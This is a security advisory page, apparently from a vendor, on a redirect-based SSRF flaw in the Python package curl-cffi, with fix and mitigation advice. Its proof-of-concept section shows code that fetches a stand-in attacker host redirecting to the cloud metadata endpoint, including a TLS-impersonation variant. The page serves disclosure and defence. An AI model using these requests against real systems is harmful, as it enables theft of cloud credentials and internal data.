GHSA-qw2m-4pqf-rmpp — curl-cffi
HIGHGHSA-qw2m-4pqf-rmpp is a high-severity (CVSS 8.6) vulnerability in curl-cffi. A fix is available for curl-cffi — see the affected versions and patch details below.
curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qw2m-4pqf-rmpp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qw2m-4pqf-rmpp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
curl-cffiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.
Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.
Details
The issue comes from how curl_cffi handles outbound requests
- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).
- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.
- There is no validation of redirect destinations at the Python layer.
This means that even if an application only allows requests to external URLs, an attacker can
- Provide a URL pointing to an attacker-controlled server
- Return a redirect response pointing to an internal service
- Have curl_cffi follow that redirect automatically
As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.
Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block
This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.
PoC
- Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
- Redirect to internal service Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
Victim code:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
Result
- Initial request goes to attacker server
- Redirect is returned
- libcurl follows the redirect automatically
- Internal metadata endpoint is accessed
- With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
In some environments, this may help the request bypass TLS-based filtering controls.
Impact
An attacker who can control the requested URL may be able to:
- Access internal network services
- Reach cloud metadata endpoints and retrieve sensitive information
- Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | curl-cffi | all versions | 0.15.0pip install --upgrade 'curl-cffi==0.15.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for curl-cffi, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update curl-cffi to 0.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qw2m-4pqf-rmpp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qw2m-4pqf-rmpp can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qw2m-4pqf-rmpp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qw2m-4pqf-rmpp in your dependencies?
O3 Security finds GHSA-qw2m-4pqf-rmpp across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.